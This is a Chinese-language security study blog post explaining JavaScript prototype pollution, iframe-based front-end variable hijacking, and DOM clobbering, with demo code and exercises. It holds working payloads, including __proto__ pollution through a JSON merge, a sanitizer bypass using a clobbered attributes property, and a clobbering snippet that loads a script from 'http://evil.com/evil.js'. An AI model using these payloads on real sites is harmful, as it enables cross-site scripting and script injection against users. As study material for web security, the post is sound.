这篇文章发表于 327 天前,可能其部分内容已经发生变化,如有疑问可询问作者。

那篇文章后半部分充斥着一些不太友好的题目,结果导致一些关键的技术并没有得到很好地阐述,理解也相对浅薄。本文就是针对个人觉得欠缺之处进行补充学习的记录。

文字内容大多摘录别人文章,不过是根据个人所需整合然后再表达的,还更新了一些过时的玩意。参考的所有链接都在最后注明了。

里面使用的浏览器全都是当前最新的。

原型链污染

这一切就先得从object讲起。

原型

对象是一个包含相关数据和方法的集合,不像“经典”的面向对象的语言,从构建函数创建的新实例的特征并非全盘复制,而是通过一个叫做原形链的参考链链接过去的。

JavaScript中所有对象都来自 Object所有对象从Object.prototype继承方法和属性,因此当我们通过对象生成某个实例的时候,相应地会带上些属性,比如其中的constructor(构造函数)和__proto__属性就是从它的原型上继承来的。

1
2
3
4
5
6
7
8
9
10
11
12
13
// 直接定义的o
var o = {};
o === Object; // false
o.constructor === Object; // true

// 构建函数产生的o
var o = new Object;
o === Object; // false
o.constructor === Object; // true

var o = {}; o; // Object{ }

o = Object; o; // function Object()

上面一段内容很无趣,一个Object对象的constructorfunction Object(),这很好理解。但请注意区分Object在不同语境下意思是不同的,别搞混;以及看到{}请保持敏感(做题的话x)。

我们将注意力集中到原型对象prototype。下面以这样一道面试题来进行思考:

1
2
3
4
var F = function(){};
Object.prototype.a = function(){};
Function.prototype.b = function(){};
var f = new F();

问题:1、new这个对象f的过程是怎样的?2、请问f中有方法a还是方法b

1、首先会创建一个新对象f;然后它会被执行[[prototype]]连接,也就是f.__proto__ = F.prototype;因为函数体内啥都没有,于是最终返回这个新对象。

2、先运行下试试还是很明智的。

1

上面这张截图是在firefox里面搞的(chrome里面可能显示的是__proto__,这个写法其实用在代码里是不规范的,应使用[[prototype]]详情见该回答),那个<prototype>其实是实例对象;而prototype是其原型对象。也就是说f中存在的应该是方法a

另外,F.prototype === f.constructor.prototype === f.__proto__ 三者恒等,也就是说对象的__proto__等于对象类的prototype

理解这些之后,我们基本了解了原型链。接下来看这个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function Person(name) {
this.name = name;
this.greeting1 = function() {
alert('Hi! I\'m ' + this.name + '.');
}
}

Person.prototype.greeting2 = function() {
alert('Hi! I\'m ' + this.name + '.');
}

person1 = new Person();
person2 = new Person();

Person.prototype.constructor === Person // true

person1.greeting1 === person2.greeting1 // false
person1.greeting2 === person2.greeting2 // true

new1 = new person1.constructor("new1") // 这里无法直接用等号比较,因为在内存中地址必然不同
new2 = new Person("new1") // 但可以输出看看,两者的输出结果相同

从上面的例子中我们看到两个实例person1person2共享了一个方法greeting2,而对于greeting1则是分开的,因为它并没有定义在prototype中,自然不会被继承。

但是greeting2却是可以被攻击的,我们接下来需要思考的是——如何修改person1实例中的属性,但效果却将person2中的属性也修改掉。

2

请仔细看图,我想表达的东西应该也不用多说了,以上的操作并不能够完成污染——如果成功污染了,那么person2.greeting2应该是"test"。稍微思考一下,很显然下面就是答案。

3

应用情境

好了,我们刚刚看到了一个很好的例子,也许你会想是不是一定会用到__proto__,但其实这只是个好用的payload而已,真正的东西个人理解应该是原型链的设计特点。

1

现在再来个例子,请修改String.SafetifyRegExp里面的内容:

1
String.SafetifyRegExp = new RegExp("([^a-zA-Z0-9 \r\n])","gi");

我们直接看图:

4

这里的String拥有了SafetifyRegExp属性,因此这里污染Stringprototype并没有用。直接把这个属性改了就可以。

5

现在正则已经被换掉了。

2

在上面第一个例子里面的person1是通过构建函数产生的。那么如果是直接定义产生的又会是什么样的情况呢?比如像下面这样:

1
2
3
4
5
6
person = {
"name":'hello'
}

person.__proto__ === Object.prototype // true
person.constructor === Object // true

直接定义的话,其原型直接就是Object。要攻击的话也是一个道理。

这其实有一定的情境,比如下面这个合并的逻辑。

1
2
3
4
5
6
7
8
9
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

看起来只需要让key=__proto__就能够产生攻击,但像下面这样的并不会产生问题。

6

显然这里程序并不认为__proto__是一个键名,也就是说它并没有进到循环中,为什么呢?

7

因为它被认为是默认的那个__proto__了。遍历键名也只能得到[a, b]

然而下面这种情况却能够成功:

8

这是因为JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。

3

这里说一个经常被我们忽略的小细节。原型链一旦被污染后,一般只有重启相关的js服务才能够防止出现奇奇怪怪的响应。

但是如果我们能够执行运行着js的网页执行js代码,我们可以尝试删除被污染的东西。

9

当然,这里还是恢复正则比较合适,不过只是举个例子对吧。

前端变量劫持

该部分参考这篇文章。不考虑 iframesandbox 属性,所有测试都是在不添加任何sandbox的限制下进行。

iframe跨域的父子页面

当页面存在iframe的时候,父页面和子页面是可以相互获取到对方的window对象,然后通过这个window对象,我们能够获得一些属性:在父子同源的情况下,基本可以获取所有需要的内容;在父子不同源的情况下,iframewindow对象大多数的属性都会被同源策略block掉,但frameslocation相对特殊:

  • frames可读,但是不可写。 意味着可以读取不同域的子页面里面的iframewindow对象。
  • location可写,但是不可读。意味着父子可以相互修改彼此的location

这两点告诉我们,爷可以修改孙的location,孙也可以修改爷的location。

爷修改孙

就直接运行代码吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<!-- localhost:80/index.html -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<iframe name="viewer" src="http://localhost:8888/" onload="loaded(this)"></iframe>
<script>
// CONFIG = "test";
function loaded(x) {
console.log(window.frames);
console.log(window.frames[0]);
console.log(window.frames[0].frames[0]);

console.log(window.location);
console.log(window.frames[0].location);
console.log(window.frames[0].frames[0].location);

// x.contentWindow.frames[0].location = "http://www.baidu.com/";
// 因为百度设置了X-Frame-Options: sameorigin,所以加载会被拒绝,我们将其改为必应

//window.frames[0].frames[0].location = 'http://www.bing.com/';
x.contentWindow.frames[0].location = "http://www.bing.com/";

console.log(window.frames[0].frames[0].location);
// 我们会发现输出并不是必应,很可能是因为浏览器处理它的时候是异步的
console.log(window.frames[0] == x.contentWindow);
}
</script>
</body>
</html>

其中8888端口的index.html如下:

1
2
<!-- localhost:8888/index.html -->
<iframe name="viewer" src="http://blog.wonderkun.cc/"></iframe>

运行之后我们会发现最里面的iframe,也就是孙,被重定向到了必应。

孙修改爷

直接运行代码吧。

1
2
<!-- localhost:80/index.html -->
<iframe name="viewer" src="http://127.0.0.1:8888/"></iframe>

然后是8888端口的内容:

1
2
<!-- localhost:8888/index.html -->
<iframe name="viewer" src="http://127.0.0.1:5555/"></iframe>

最后是5555端口,也就是孙的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!-- localhost:5555/index.html -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<script>
console.log(window.frames);
console.log(window.parent);
console.log(window.top);

console.log(window.parent.location);
//console.log(window.top.name); // name无法被获取

window.top.location = 'http://www.bing.com/';
</script>
</body>
</html>

访问http://127.0.0.1/index.html之后就会被重定向到必应。

id属性

我们知道在浏览器中有如下特点:我们定义的所有全局变量,都被存储在window对象中,作为window的属性来被访问的。比如我们打开firefox的新标签页,找到了下面这个一个带着id=root的标签,于是:

10

从控制台来看我们似乎能够随意修改这种全局变量,但是真的是这样吗?

1
2
3
4
5
6
7
8
9
10
11
12
13
<h1>test</h1>
<h2>test2</h2>

<script>
test = "ddd";
document.getElementsByTagName("h1")[0].setAttribute('id',"test");
document.getElementsByTagName("h2")[0].setAttribute('id',"test2");
</script>

// >> test
// "ddd"
// >> test2
// <h2 id="test2">

像这样的脚本是没法覆盖掉test的值的,虽然我们在控制台里可以改变它;但是我们能够通过这种方式来定义新的变量test2

事实上,test的值会优先取"ddd",只要我们在后面将它delete掉,我们就能够得到<h1 id="test">这样的结果,正是这个顺序让我们没办法完成覆盖。也就是说,想要利用这种攻击方法,我们就必须保证希望控制的变量没有定义或者在后面被删除了。而且还有一个现象,就是像test2这样的值是没办法delete掉的!

另外,我们心中会有疑问,如果两个标签都是同一个id,那么会有什么样的结果出现呢?(其实在正常的网页里面,我们不应该出现两个相同的id属性)

1
2
<h1 id="test"></h1>
<h2 id="test"></h2>

访问这个页面,在firefox和chrome里面的返回结果是截然不同的,在firefox里面会直接返回<h1 id="test">,而在chrome里面会得到如图的结果:

11

这个test作为一个数组而存在。这一点在文档中有所体现:匹配的元素多于一个时,不同的浏览器表现不同。Firefox 8表现如同DOM 2DOM 4说明的,返回第一个匹配的元素。而Webkit浏览器和IE返回另外一个HTMLCollectionOpera返回一个包含所有元素的 NodeList

name属性

确切地说,这里主要测试的是iframe里面的name属性。

1
2
<iframe id="viewer" src="./view.html"></iframe>
<iframe name="viewer2" src="./view.html"></iframe>

得到了下面这样有意思的结果。

12

有着name属性的viewer2直接返回了一个Window对象,结合之前的内容,看起来name应该才是用在攻击上的属性。那我们继续看看两个标签相同的时候会发生什么有趣的现象。

首先看看要是两个标签里面的idname相同会有什么效果,也就是像下面这样:

1
2
<iframe id="viewer" src="./view.html"></iframe>
<iframe name="viewer" src="./view.html"></iframe>

发现无论在什么浏览器上,以及无论上面两条代码什么顺序,我们都会得到Window对象的结果——这说明name优先级高于id

那么像下面这种情况又会如何呢?(在正常网页中,name属性可以重复)

1
2
<iframe name="test" src="http://B.com/B.html" ></iframe>
<iframe name="test" src="http://C.com/C.html" ></iframe>

对于这种情况,firefox和chrome都给出了一致的结果。

13

也就是只有第一个iframeWindow对象。

应用情境

你可能会发现这个漏洞并没有想象中那么神……新版的firefox和chrome似乎都已经结束了它的生命——好吧我们前去下载个古老的版本稍微感受下,我用的是76的。

我们有一个可以控制的域A.com中有页面A.com/A.html,用iframe加载了B.com的域的页面B.com/B.htmlA.html无法操作B.html页面,因为是不同源的,同时B.com/B.html页面用iframe加载了一个新的页面C.com/C.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<script>
function loaded(x){
x.contentWindow.frames[0].location = "http://127.0.0.1/"; // 修改为跟A.com同源,这样在修改此iframe的name的时候就不会被同源策略block
setTimeout(function() {
console.log('setting viewer...');
x.contentWindow.frames[0].name = "VUL"; // 重新定义全局变量
},1000);
}
</script>

<!--
http://B.com/B.html?xss=%3Cscript%3E%0A%20%20%20%20%20VUL%20=%20%22Hijack%20me%22;%0A%3C/script%3E
利用chrome的filter模式去掉 VUL 的定义
不过现在已经没用了,xss auditor已经是历史了……
-->

<iframe src="http://127.0.0.1:8888/index.html" onload="loaded(this)"></iframe>

在B上(显然这个C就是必应了):

1
2
3
4
5
6
7
8
9
10
11
12
13
<!-- B 8888/index.html -->
<iframe src="http://www.bing.com/"></iframe>
<h1 onclick="test()">click me</h1>
<script>
//VUL = "Hijack me";
</script>

<script>
function test(){
// 不能用alert ,alert 会尝试访问 VUL window对象的特有方法,会爆跨域错误
console.log(VUL);
}
</script>

点击后我们确实得到了一个被劫持的Window对象。

在这个任务中我觉得需要关注的并不是能不能用,而是这样一个修改内部的iframe来完成劫持的思路,以及为之后的Dom Clobbering做铺垫。

Dom Clobbering

我们刚刚已经看到了HTML代码能够在js里面发挥一些奇怪的效果,但这其实是本就合理的性质,而且在官方文档里也有所提及,请一定要阅读它。

id和name的一些性质

我们可以知道这其实就是正常的特性,在文档中我们还发现像embedformimgobject都能够利用name属性;而对于id,它是全局属性(Global attribute),基本上可以写在任何标签里面。再简单总结一下:

  • 几乎所有含形如id=xx原本未定义)的标签都能够成功使得x被指定为含对应tag的内容
  • 含形如name=xx原本未定义)的embedformimgobject标签都能够成功使得x被指定为含对应tag的内容
  • 如果后续操作会将这个x强制转化为字符串,那么我们有办法控制这个x转化后的字符串值(这点我们会在文章*href*部分中提及)

16

好了,先从下面这段代码的测试讲起。

1
2
<embed id=test1>
<embed name=test2>

如果你好好看了刚刚给的官方文档,你会发现它说了一句话,因为id映射到window上面的API可能会有变化,所以尽量使用document.getElementById()或者document.querySelector()来取得这种元素。

14

仔细看运行结果,你肯定会好奇为什么document.test1就没有值呢——这一点也是可以在这章节的倒数某段找到原因,如下陈述的元素会被加入到document里面:

15

而像test1这样的并没有满足条件,所以document.test1呈现出未定义的状态。其他的响应在一开始就在我们的意料之中就不多说了。

两张截图中的英文很重要

二级对象控制

我们刚刚已经领悟了idname在一级对象引用上的用法,现在来看看更为高级的二级对象控制。

为快速get main idea,我采用了以下这种代码,并期望能够通过只修改这个文件的HTML代码以成功弹窗,甚至成功执行eval

1
2
3
4
5
6
<script>
if (window.test1.test2) {
alert("OK");
eval(''+window.test1.test2);
}
</script>

这里有两个问题需要解决:

  • 我们已经知道控制住某个标签的id就能够成功地控制window.test1,但是下一层的test2该怎么控制?
  • eval里面的必须是字符串,如何确保在这样的操作中window.test1.test2会被自动转化为字符串?

第一个问题比较容易解决,因为每一个<input>标签的都会添加为它之上的<form>标签的属性,属性的名字就是<input>标签中声明的name属性。

1
2
3
4
5
6
<form id=test1>
<input name=test2>
</form>
<script>
alert(test1.test2); // alerts "[object HTMLInputElement]"
</script>

但是它返回的内容是[object HTMLInputElement],即便想强制转换为字符串也没能成功。这就是提到的第二个问题。

对于第二个问题,我们需要找到合适的标签,于是使用fuzz。

1
2
3
4
Object.getOwnPropertyNames(window)
.filter(p => p.match(/Element$/))
.map(p => window[p])
.filter(p => p && p.prototype && p.prototype.toString !== Object.prototype.toString)

最后的那个filter是为了判断这个dom节点对象有没有toString方法,而且是不是从Object.prototype上面继承下来的——如果是继承自Object.prototype,那么很有可能只会返回[object SomeElement]

执行完成后会返回两个属性,HTMLAreaElement<area>)和HTMLAnchorElement<a>),我们访问文档会发现因为<a><area>元素对于hyperlink(超链接)中有着toString方法,难怪没有继承自Object.prototype。另外,也只有href能够创建hyperlinkThe *href* attribute on <a> and <area> elements is not required; when those elements do not have *href* attributes they do not create hyperlinks

href

下面就用<a>标签吧(<area>标签类似)。我们会很自然地尝试:

1
2
3
<form id=test1>
<a name=test2 href="x:alert(1)"></a>
</form>

但是并不行,test1.test2undefined,因为<input>元素会变成<form>的属性,而<a>标签并不会。这里的解决方法如下(其实去掉<form>标签也可):

1
2
3
4
<form id=test1>
<a id=test1>click!</a>
<a id=test1 name=test2 href="x:alert(1)">click2!</a>
</form>

将上述代码放在不同浏览器下运行,发现在firefox下无效果,但是在chrome里面就能够非常好地得到我们想要的结果,因为它有HTMLCollection

17

这就头疼了,有没有是没办法通杀呢?很遗憾我没找到x,所以firefox想要精确控制住形如test1.test2这种的Dom Clobbering似乎是不太可能的。

哦,这里再补充一个比较重要的知识点,就是在我的前一篇文章追加练习4 – @SecurityMB系列章节的第一个练习中,我们还通过fuzz发掘了利用hrefid去控制形如window.idname.protocolwindow.idname.host等元素,事实上这个文档告诉我们可以控制的还有像window.idname.usernamewindow.idname.passwordwindow.idname.hash等等,就像下面这样。

1
2
3
4
5
6
<a id=x href="http://Clobbered username:Clobbered Password@a"> 
<script> // href采用FTP协议等也可
alert(x) // http://Clobbered%20username:Clobbered%20Password@a/
alert(x.username) // Clobbered%20username
alert(x.password) // Clobbered%20password
</script>

我们还看到这里的内容被URL编码了,在一些情况下很不利,有什么办法能够消除呢?

在firefox下我们可以这样,

1
2
3
4
<base href=a:abc><a id=x href="Firefox<>">
<script>
alert(x) // Firefox<>
</script>

在chrome下我们可以这样,

1
2
3
4
5
6
<base href="a://Clobbered<>">
<a id=x name=x>
<a id=x name=xyz href=123>
<script>
alert(x.xyz) // a://Clobbered<>
</script>

解决办法

不管怎么说,本小节最开始抛出的问题在chrome环境似乎已经可以通过下面的手段解决:

1
2
3
4
5
6
7
8
<a id=test1>click!</a>
<a id=test1 name=test2 href="x:alert(123)">click2!</a>
<script>
if (window.test1.test2) {
alert('OK');
eval(''+window.test1.test2);
}
</script>

可能是时代在进步,我们发现这个payload已经没办法执行eval了,原因也很清楚,我们可以看到它有协议塞在前面(比如file://http://)。

不过是有办法绕过并执行eval的,而且绕过的方式非常无语,多加个字母就好了,甚至连特定的协议都不需要找:

1
<a id=test1 name=test2 href="xx:alert(123)">click2!</a>

要是有过滤或者特定白名单机制的话,就改成相应的前缀就好了。

知识点已经讲完了,现在熟悉一下,请在下面代码中添加HTML代码使之弹窗。

1
2
3
4
5
6
7
8
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>

显然这是要控制住二级对象window.someObject.url。于是添加如下内容:

1
2
<a id=someObject>click!</a>
<a id=someObject name=url href="http://evil.com/evil.js">click2!</a>

一个经典的例子

这里直接上一道题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<html>
<body>
<!-- 表单,用于提交payload -->
<form action="" id="form1">
<input type="text" name="payload" style="width: 500px;height:60px;"><br>
<input type="button" onclick=formSubmit() value="submit">
</form>
</body>
</html>
<script>
// 遍历DOM树,不需要关注这个函数
function DomBFS(element, callback) {
var queue = [];
while(element) {
callback(element);
if(element.children.length !== 0) {
for (var i = 0; i < element.children.length; i++) {
queue.push(element.children[i]);
}
}
element = queue.shift();
}
}

// 过滤用户提交的HTML代码,如果包含onclick, onerror,删掉该属性(attribute)
let blockAttributes = ["onclick", "onerror"];
function formSubmit() {
let f = document.getElementById("form1");
let sandbox = document.implementation.createHTMLDocument('');
let root = sandbox.createElement("div");
root.innerHTML = f.payload.value;

DomBFS(root, function(element){
//console.log("element: " + element);
//console.log("attributes: " + element.attributes);
//console.log("length: " + element.attributes.length);
// 遍历属性名
for(var a = 0; a < element.attributes.length; a+=1) {
let attr = element.attributes[a];
if(blockAttributes.indexOf(attr.name) != -1) {
element.removeAttribute(attr.name);
a -= 1;
}
}
})
document.body.appendChild(root);
}
</script>

这题咋看呢?我首先想到了<svg>标签,但是尝试过后感觉可能是sandbox有一定的防护效果,那么换条思路,尝试破坏这个对属性的过滤——最直接就是破坏这个循环,比如让这个循环的长度为0。

1
<form onclick=alert(1)><input id=attributes>Click me

去掉注释,我们就能够看到输出。

19

说明这个payload在element<form>的时候,其element.attributes呈现出未定义的状态,这就导致了循环的直接崩溃,自然没办法去掉其中的onclick属性。

多级对象控制

先来尝试对三级对象进行控制,在研究这个之前我们需要利用HTML标签之间的关系来构建出层级结构。

通过fuzz找到所有id或者name具有父子依赖关系的节点,在控制台运行如下脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
var log=[];
var html = ["a","abbr","acronym","address","applet","area","article","aside","audio","b","base","basefont","bdi","bdo","bgsound","big","blink","blockquote","body","br","button","canvas","caption","center","cite","code","col","colgroup","command","content","data","datalist","dd","del","details","dfn","dialog","dir","div","dl","dt","element","em","embed","fieldset","figcaption","figure","font","footer","form","frame","frameset","h1","head","header","hgroup","hr","html","i","iframe","image","img","input","ins","isindex","kbd","keygen","label","legend","li","link","listing","main","map","mark","marquee","menu","menuitem","meta","meter","multicol","nav","nextid","nobr","noembed","noframes","noscript","object","ol","optgroup","option","output","p","param","picture","plaintext","pre","progress","q","rb","rp","rt","rtc","ruby","s","samp","script","section","select","shadow","slot","small","source","spacer","span","strike","strong","style","sub","summary","sup","svg","table","tbody","td","template","textarea","tfoot","th","thead","time","title","tr","track","tt","u","ul","var","video","wbr","xmp"], logs = [];
div=document.createElement('div');
for(var i=0;i<html.length;i++) {
for(var j=0;j<html.length;j++) {
div.innerHTML='<'+html[i]+' id=element1>'+'<'+html[j]+' id=element2>';
document.body.appendChild(div);
if(window.element1 && element1.element2){
log.push(html[i]+','+html[j]);
}
document.body.removeChild(div);
}
}
console.log(log.join('\n'));

// form,button
// form,fieldset
// form,image
// form,img
// form,input
// form,object
// form,output
// form,select
// form,textarea

修改上面的idname得到的输出结果都是一样的,原因之前应该也提过了。

1
2
3
4
<form id=x><output id=y>I've been clobbered</output>
<script>
alert(x.y.value);
</script>

这种触发显得有点笨拙,最后一级必须是value才可以。能否更加普适一点呢?

尝试利用HTMLCollection

想到之前让id重复出现的技巧,我们可以测试下面这样的代码:

1
2
<form id=x></form>
<form id=x name=y><input id=z></form>

显然根据之前的经验,firefox并不会接受x.y这样的内容,于是在chrome上进行测试:

18

看起来很不错,但在调整相关代码为<a>标签后这一切还是以失败告终,也就是说我们并不能将它转化为可用的字符串。这种办法似乎行不通。

利用srcdoc任意层数对象引用

使用iframesrcdoc属性就可以创建任意层数的对象引用:

1
2
3
4
5
6
7
<iframe name=a srcdoc="
<iframe name=b srcdoc='
<a id=c></a>
<a id=c name=d href=cid:Clobbered>test</a>
'></iframe>
"></iframe>
<script>setTimeout(()=>alert(a.b.c.d),500)</script>

这个显然也只能用在chrome的情况下,但是对于firefox来说,只要退一步便可以完成三级的控制:

1
2
3
4
5
6
<iframe name=a srcdoc="
<iframe name=b srcdoc='
<a id=c href=cid:Clobbered>test</a>
'></iframe>
"></iframe>
<script>setTimeout(()=>alert(a.b.c),500)</script>

上面有一个问题,就是必须使用setTimeout设置一个延迟以保证iframe加载完毕。这里也可以利用style/link标签导入一个外部的样式表来创造一个小的延迟。

感觉这里说“多级”其实有点言过其实,本来以为更多的嵌套可以通过URL编码能够写在srcdoc里面的,可经过测试发现并不能运行。

参考文献

原型链污染:

https://wonderkun.cc/2019/07/18/javascript%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/constructor

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Inheritance_and_the_prototype_chain

https://www.cnblogs.com/polk6/p/4340730.html

前端变量劫持:

https://wonderkun.cc/2019/07/01/%E5%89%8D%E7%AB%AF%E4%B8%AD%E5%AD%98%E5%9C%A8%E7%9A%84%E5%8F%98%E9%87%8F%E5%8A%AB%E6%8C%81%E6%BC%8F%E6%B4%9E/

https://lihuaiqiu.github.io/2020/04/06/%E5%89%8D%E7%AB%AF%E5%85%A8%E5%B1%80%E5%8F%98%E9%87%8F%E5%8A%AB%E6%8C%81/

Dom Clobbering:

https://wonderkun.cc/2020/02/15/DOM%20Clobbering%20Attack%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/

https://research.securitum.com/xss-in-amp4email-dom-clobbering/

https://segmentfault.com/a/1190000040098609

https://lihuaiqiu.github.io/2020/04/15/DOM-Clobbering-Attack/

https://xz.aliyun.com/t/7329